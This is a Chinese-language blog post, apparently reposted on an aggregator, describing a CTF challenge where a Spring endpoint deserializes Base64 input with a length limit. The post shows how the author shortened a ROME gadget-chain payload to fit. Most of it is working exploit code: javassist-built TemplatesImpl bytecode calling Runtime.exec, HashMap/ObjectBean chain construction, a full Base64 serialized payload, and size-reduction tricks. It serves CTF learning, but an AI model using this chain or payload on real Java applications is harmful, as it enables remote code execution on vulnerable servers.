Java 反序列化PAYLOAD缩短初探

您所在的位置:网站首页 insertbefore参数 Java 反序列化PAYLOAD缩短初探

Java 反序列化PAYLOAD缩短初探

2023-05-04 16:14| 来源: 网络整理| 查看: 265

本文最后更新于 408 天前,其中的信息可能已经有所发展或是发生改变。

一、前言

会写这篇文章的起因是在最近的一场ctf中碰见的一道很有意思的题,题目本身是一道很简单的ROME链的反序列化漏洞,但是在传入payload的地方限制了能传入的长度,所以就有了这么一篇文章。

赛题关键部分:

@PostMapping({"/hello"}) public String index(@RequestParam String baseStr) throws IOException, ClassNotFoundException { if (baseStr.length() >= 1956) return "too long"; byte[] decode = Base64.getDecoder().decode(baseStr); ByteArrayInputStream byteArrayInputStream = new ByteArrayInputStream(decode); ObjectInputStream objectInputStream = new ObjectInputStream(byteArrayInputStream); objectInputStream.readObject(); return "hello"; } }二、初始payload构建

这里就不具体分析ROME链的流程了,具体分析的话可以看我之前写的文章

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl; import java.io.ByteArrayOutputStream; import java.io.ObjectOutputStream; import java.lang.reflect.Array; import java.lang.reflect.Constructor; import java.lang.reflect.Field; import java.util.HashMap; import com.sun.syndication.feed.impl.ObjectBean; import javassist.ClassPool; import javassist.CtClass; import javax.xml.transform.Templates; import java.util.Base64; public class Exp { public static class StaticBlock { } public static void main(String[] args) throws Exception{ // 生成恶意 bytecodes String code = "{java.lang.Runtime.getRuntime().exec(\"calc\");}"; ClassPool pool = ClassPool.getDefault(); CtClass clazz = pool.get(StaticBlock.class.getName()); clazz.setSuperclass(pool.get(Class.forName("com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet").getName())); clazz.makeClassInitializer().insertBefore(code); byte[][] bytecodes = new byte[][]{clazz.toBytecode()}; // 实例化类并设置属性 TemplatesImpl templatesimpl = new TemplatesImpl(); Field fieldByteCodes = templatesimpl.getClass().getDeclaredField("_bytecodes"); fieldByteCodes.setAccessible(true); fieldByteCodes.set(templatesimpl, bytecodes); Field fieldName = templatesimpl.getClass().getDeclaredField("_name"); fieldName.setAccessible(true); fieldName.set(templatesimpl, "test"); Field fieldTfactory = templatesimpl.getClass().getDeclaredField("_tfactory"); fieldTfactory.setAccessible(true); fieldTfactory.set(templatesimpl, Class.forName("com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl").newInstance()); // 要通过2个objectbean才能达成触发条件 ObjectBean objectBean1 = new ObjectBean(Templates.class, templatesimpl); ObjectBean objectBean2 = new ObjectBean(ObjectBean.class, objectBean1); // 设置hashmap,参考ysoserial HashMap hashmap = new HashMap(); Field fieldsize = hashmap.getClass().getDeclaredField("size"); fieldsize.setAccessible(true); fieldsize.set(hashmap,2); Class nodeC = Class.forName("java.util.HashMap$Node"); Constructor nodeCons = nodeC.getDeclaredConstructor(int.class, Object.class, Object.class, nodeC); nodeCons.setAccessible(true); // Object tbl = Array.newInstance(nodeC, 2); 也可以只写入objectBean2, 就是会报错(但还是执行了命令) Object tbl = Array.newInstance(nodeC, 1); // Array.set(tbl, 0, nodeCons.newInstance(0, objectBean1, objectBean1, null)); Array.set(tbl, 0, nodeCons.newInstance(0, objectBean2, objectBean2, null)); Field fieldtable = hashmap.getClass().getDeclaredField("table"); fieldtable.setAccessible(true); fieldtable.set(hashmap,tbl); // 输出base64后的序列化数据 ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream(); ObjectOutputStream out = new ObjectOutputStream(byteArrayOutputStream); out.writeObject(hashmap); byte[] sss = byteArrayOutputStream.toByteArray(); out.close(); String exp = Base64.getEncoder().encodeToString(sss); System.out.println(exp); } }

payload:

rO0ABXNyABFqYXZhLnV0aWwuSGFzaE1hcAUH2sHDFmDRAwACRgAKbG9hZEZhY3RvckkACXRocmVzaG9sZHhwP0AAAAAAAAB3CAAAAAEAAAACc3IAKGNvbS5zdW4uc3luZGljYXRpb24uZmVlZC5pbXBsLk9iamVjdEJlYW6CmQfedgSUSgIAA0wADl9jbG9uZWFibGVCZWFudAAtTGNvbS9zdW4vc3luZGljYXRpb24vZmVlZC9pbXBsL0Nsb25lYWJsZUJlYW47TAALX2VxdWFsc0JlYW50ACpMY29tL3N1bi9zeW5kaWNhdGlvbi9mZWVkL2ltcGwvRXF1YWxzQmVhbjtMAA1fdG9TdHJpbmdCZWFudAAsTGNvbS9zdW4vc3luZGljYXRpb24vZmVlZC9pbXBsL1RvU3RyaW5nQmVhbjt4cHNyACtjb20uc3VuLnN5bmRpY2F0aW9uLmZlZWQuaW1wbC5DbG9uZWFibGVCZWFu3WG7xTNPa3cCAAJMABFfaWdub3JlUHJvcGVydGllc3QAD0xqYXZhL3V0aWwvU2V0O0wABF9vYmp0ABJMamF2YS9sYW5nL09iamVjdDt4cHNyAB5qYXZhLnV0aWwuQ29sbGVjdGlvbnMkRW1wdHlTZXQV9XIdtAPLKAIAAHhwc3EAfgACc3EAfgAHcQB+AAxzcgA6Y29tLnN1bi5vcmcuYXBhY2hlLnhhbGFuLmludGVybmFsLnhzbHRjLnRyYXguVGVtcGxhdGVzSW1wbAlXT8FurKszAwAGSQANX2luZGVudE51bWJlckkADl90cmFuc2xldEluZGV4WwAKX2J5dGVjb2Rlc3QAA1tbQlsABl9jbGFzc3QAEltMamF2YS9sYW5nL0NsYXNzO0wABV9uYW1ldAASTGphdmEvbGFuZy9TdHJpbmc7TAARX291dHB1dFByb3BlcnRpZXN0ABZMamF2YS91dGlsL1Byb3BlcnRpZXM7eHAAAAAA/////3VyAANbW0JL/RkVZ2fbNwIAAHhwAAAAAXVyAAJbQqzzF/gGCFTgAgAAeHAAAAJByv66vgAAADQAJAoAAwAPBwARBwASAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEABHRoaXMBAAtTdGF0aWNCbG9jawEADElubmVyQ2xhc3NlcwEAEkxUZXN0JFN0YXRpY0Jsb2NrOwEAClNvdXJjZUZpbGUBAAlUZXN0LmphdmEMAAQABQcAEwEAEFRlc3QkU3RhdGljQmxvY2sBABBqYXZhL2xhbmcvT2JqZWN0AQAEVGVzdAEAQGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ydW50aW1lL0Fic3RyYWN0VHJhbnNsZXQHABQKABUADwEACDxjbGluaXQ+AQARamF2YS9sYW5nL1J1bnRpbWUHABgBAApnZXRSdW50aW1lAQAVKClMamF2YS9sYW5nL1J1bnRpbWU7DAAaABsKABkAHAEABGNhbGMIAB4BAARleGVjAQAnKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1Byb2Nlc3M7DAAgACEKABkAIgAhAAIAFQAAAAAAAgABAAQABQABAAYAAAAvAAEAAQAAAAUqtwAWsQAAAAIABwAAAAYAAQAAABAACAAAAAwAAQAAAAUACQAMAAAACAAXAAUAAQAGAAAAFgACAAAAAAAKuAAdEh+2ACNXsQAAAAAAAgANAAAAAgAOAAsAAAAKAAEAAgAQAAoACXB0AAR0ZXN0cHcBAHhzcgAoY29tLnN1bi5zeW5kaWNhdGlvbi5mZWVkLmltcGwuRXF1YWxzQmVhbvWKGLvl9hgRAgACTAAKX2JlYW5DbGFzc3QAEUxqYXZhL2xhbmcvQ2xhc3M7TAAEX29ianEAfgAJeHB2cgAdamF2YXgueG1sLnRyYW5zZm9ybS5UZW1wbGF0ZXMAAAAAAAAAAAAAAHhwcQB+ABRzcgAqY29tLnN1bi5zeW5kaWNhdGlvbi5mZWVkLmltcGwuVG9TdHJpbmdCZWFuCfWOSg8j7jECAAJMAApfYmVhbkNsYXNzcQB+ABtMAARfb2JqcQB+AAl4cHEAfgAecQB+ABRzcQB+ABp2cQB+AAJxAH4ADXNxAH4AH3EAfgAicQB+AA1xAH4ABng=

在初始状态下生成的payload字符为2244字符,而要求传入的字符为1956,长了非常多,接下来就开始本文的重点,payload缩短。

三、payload缩短方法初探1、删除_tfactory字段

这一段payload和在ysoserial中都对_tfactory字段进行了赋值

Reflections.setFieldValue(templates, "_tfactory", transFactory.newInstance());

而在TemplatesImpactl类中_tfactory字段被transient修饰,是不会参与序列化的,所以可以直接删除,既然是不参加序列化的,所以删除之后payload的大小不会发生改变。

2、使用javassist创建类

使用:

CtClass clazz = pool.makeClass(StaticBlock.class.getName()); clazz.setSuperclass(pool.get(AbstractTranslet.class.getName())); clazz.makeClassInitializer().insertBefore(code);

代替:

ClassPool pool = ClassPool.getDefault(); CtClass clazz = pool.get(StaticBlock.class.getName()); clazz.setSuperclass(pool.get(Class.forName("com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet").getName())); clazz.makeClassInitializer().insertBefore(code);

生成的payload从2244字节缩小到了2054字节

3、尝试置空不需要的数据

在调试过程中我们可以发现_obj中的参数并不是全都要存在有内容,只需要_equalsBean就可以成功的进行反序列化,同时我们将_toStringBean和 _cloneableBean通过反射设置为null,在进行设置后payload成功缩短到了1836

import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet; import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl; import com.sun.syndication.feed.impl.EqualsBean; import com.sun.syndication.feed.impl.ObjectBean; import com.sun.syndication.feed.impl.ToStringBean; import javassist.ClassPool; import javassist.CtClass; import javax.xml.transform.Templates; import java.io.ByteArrayInputStream; import java.io.ByteArrayOutputStream; import java.io.ObjectInputStream; import java.io.ObjectOutputStream; import java.lang.reflect.Field; import java.util.Base64; import java.util.HashMap; public class Test { public static class a { } public static void setFieldValue(Object object, String fieldName, Object value) throws NoSuchFieldException, IllegalAccessException { Field field = object.getClass().getDeclaredField(fieldName); field.setAccessible(true); field.set(object, value); } public static TemplatesImpl getTemplatesImpl(String cmd) { TemplatesImpl templates = null; try { String code = "{java.lang.Runtime.getRuntime().exec(\"" + cmd + "\");}"; ClassPool pool = ClassPool.getDefault(); CtClass clazz = pool.makeClass(a.class.getName()); clazz.setSuperclass(pool.get(AbstractTranslet.class.getName())); clazz.makeClassInitializer().insertBefore(code); byte[][] bytecodes = new byte[][]{clazz.toBytecode()}; // 实例化类并设置属性 templates = new TemplatesImpl(); Field fieldByteCodes = templates.getClass().getDeclaredField("_bytecodes"); fieldByteCodes.setAccessible(true); fieldByteCodes.set(templates, bytecodes); Field fieldName = templates.getClass().getDeclaredField("_name"); fieldName.setAccessible(true); fieldName.set(templates, "test"); return templates; } catch (Exception e) { } return templates; } public static void main(String[] args) throws Exception { ObjectBean bean = new ObjectBean(String.class, "1"); ToStringBean toStringBean = new ToStringBean(Templates.class, getTemplatesImpl("calc")); EqualsBean equalsBean = new EqualsBean(ToStringBean.class, toStringBean); HashMap hashmap = new HashMap(); hashmap.put(bean, 1); setFieldValue(bean, "_equalsBean", equalsBean); setFieldValue(bean, "_toStringBean", null); setFieldValue(bean, "_cloneableBean", null); // 输出base64后的序列化数据 ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream(); ObjectOutputStream out = new ObjectOutputStream(byteArrayOutputStream); out.writeObject(hashmap); byte[] sss = byteArrayOutputStream.toByteArray(); out.close(); String base64_exp = Base64.getEncoder().encodeToString(sss); System.out.println(base64_exp + "\n"); System.out.println(base64_exp.length()); byte[] exp = Base64.getDecoder().decode(base64_exp); ByteArrayInputStream bytes = new ByteArrayInputStream(exp); ObjectInputStream objectInputStream = new ObjectInputStream(bytes); objectInputStream.readObject(); } }


【本文地址】


今日新闻


推荐新闻


    CopyRight 2018-2019 办公设备维修网 版权所有 豫ICP备15022753号-3